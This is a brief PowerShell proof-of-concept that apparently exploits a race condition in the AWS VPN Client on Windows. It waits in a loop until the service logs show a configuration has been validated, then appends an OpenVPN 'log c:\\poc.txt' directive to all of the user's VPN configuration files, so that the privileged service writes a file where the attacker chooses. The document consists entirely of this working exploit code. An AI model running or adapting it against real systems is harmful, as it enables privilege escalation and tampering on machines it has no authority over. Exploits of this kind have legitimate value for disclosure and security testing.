#Warning: This will write the string “log c:\\poc.txt” to all configuration files in $env:APPDATA\AWSVPNClient\OpenVpnConfigs\

cd "C:\Program Files\Amazon\AWS VPN Client\WinServiceLogs"
$x = GET-CHILDITEM .\* -recurse | Select-String 'Successfully validated' | Measure-Object
while($x.Count -eq (GET-CHILDITEM .\* -recurse | Select-String 'Successfully validated' | Measure-Object).Count){
echo "waiting for file to validate"
}
"`nlog c:\\poc.txt" | Add-Content "$env:APPDATA\AWSVPNClient\OpenVpnConfigs\*"
